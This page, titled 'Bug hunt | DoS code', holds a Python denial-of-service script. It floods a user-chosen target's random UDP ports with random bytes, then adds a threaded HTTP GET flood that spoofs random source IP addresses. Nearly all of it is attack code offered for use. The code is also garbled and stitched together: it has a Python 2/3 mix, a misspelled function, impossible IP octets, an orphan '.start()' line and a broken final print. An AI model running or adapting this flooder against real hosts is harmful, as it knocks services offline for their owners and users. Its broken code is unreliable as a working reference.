Bug hunt | DoS code

import socket
import random
import sys
import time
import os
import http.client
from random import randint
import threading


if sys.platform == "linux2":
    os.system("clear")
elif sys.platform == "win32":
    os.system("cls")
else:
    os.system("clear")

print(" ~# DoS #~ ")

target = raw_input("Insert target's IP/HOSTNAME!):")

print("---")

package = input(" How much dynamite do you want to use? [ MAXIMIUM 65500] : ")

print("---")

duration = input(" Set duration of attack [0 is infinite!] ")
durclock = (lambda:0, time.clock)[duration > 0]
duration = (1, (durclock() + duration))[duration > 0]
packet = random._urandom(package)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print("---")
print("Bombing target on %s with %s bytes for %s seconds." % (target, package, duration))
while True:
        if (durclock() < duration):
                port = random.randint(1, 65535)
                sock.sendto(packet, (target, port))
        else:
                break
#
randomize = True
src = None
dst = None
port = None
conn = None

class Xplit(threading.Thread):
    global randomize, src, dst, port, conn

    def __init__(self):
        threading.Thread.__init__(self)

    def build_conn(_src, _dst, _port):
        return http.client.HTTPConnection(host = _dst, port = _port, timeout = 5, source_address = _src)

    def gen_ip():
        return '%i.%i.%i.%i' % (rand(), rand(), rand(), rand())

    def rand():
        return randit(1, 350)

    def run():
        conn = build_conn(gen_ip(), dst, port) if randomize else build_conn(src, dst, port)
        conn.request("GET /?" + str(randint(1,9991)) + " HTTP/1.1")

def show_help(bin):
    print('usage:\t%s [<src_addr>] <dst_addr> <port>' % bin)

def begin():
    while True:
        if threading.activeCount() <= 666:
            .start()

if __name__ == '__main__':
    if len(sys.argv) == 4:
        src = sys.argv[1]
        dst = sys.argv[2]
        port = sys.argv[3]
    elif len(sys.argv) == 3:
        randomize = True
        dst = sys.argv[1]
        port = sys.argv[2]
    else:
        show_help(sys.argv[0])
        exit()

print("---")
print("The attack completed on %s for %s seconds." % (target, duration)")